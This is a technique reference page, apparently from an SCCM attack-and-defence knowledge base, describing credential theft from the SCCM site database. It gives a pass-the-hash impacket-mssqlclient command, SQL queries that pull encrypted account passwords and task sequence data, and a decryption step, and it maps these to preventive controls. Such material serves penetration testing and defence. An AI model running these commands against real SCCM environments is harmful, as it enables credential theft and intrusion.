CRED-5 - MSSQL Database

Document Reference

• CRED-5

Description

Dump credentials from the site database

Site servers are granted sysadmin roles on their respective site databases. This is default and is a requirement for SCCM to function. If the site server machine account credentials have been obtained, this then allows for the SC_UserAccount table to be read and obtain encrypted passwords blobs for provisioned SCCM accounts which are stored within this table.

When this attack is performed, the encrypted data blobs must be encrypted on the site server otherwise it is not possible to decrypt them.

Requirements

• Site database access

• Access to the private key used for encryption stored on the primary site server

Tools Required

Windows

• SQL Client (mssqlclient, SQLRecon)

• sccmdecryptpoc.exe: https://github.com/The-Viper-One/RedTeam-Pentest-Tools/tree/main/SCCM

Linux

• mssqlclient

Linux

impacket-mssqlclient  -windows-auth -hashes 'aad3b435b51404eeaad3b435b51404ee:fe7f671f719978e25111c8c196662006' 'SCCMLAB/MECM$'@192.168.60.12 

Dump Account Credentials

# Connect to site database, view secrets
USE CM_[Site Code]
SELECT UserName,Password FROM SC_UserAccount

Dump Task Sequence Data

SELECT TS_ID, Name, Sequence FROM vSMS_TaskSequencePackage

Windows

The same attack can be repeated as above in the Linux section for Windows when using mssqlclient.exe. At the time of writing I had issue authenticating as a machine account to the site server database using the suggested SQLRecon. If using a machine account mssqlclient.exe would be the preferred way of doing this, otherwise if you have access to a user who has admin rights of the site server database then SQLRecon or PowerUPSQL should be sufficient.

mssqlclient.exe -windows-auth -hashes "aad3b435b51404eeaad3b435b51404ee:fe7f671f719978e25111c8c196662006" "SCCMLAB/MECM$"@192.168.60.12

# Connect to site database, view secrets
USE CM_[Site Code]
SELECT UserName,Password FROM SC_UserAccount

Decrypt Secrets

To decrypt the data, we need to run sccmdecrypt on the main site server.

.\sccmdecrypt.net-4.5.exe [Value]

Needs to be run from an administrative shell on the main site server to decrypt the strings successfully

Defensive IDs

• PREVENT-10: Enforce the principle of least privilege for accounts

• PREVENT-18: Use strong passwords for DBA accounts

• PREVENT-19: Remove unnecessary links to site databases

• PREVENT-20: Block unnecessary connections to site systems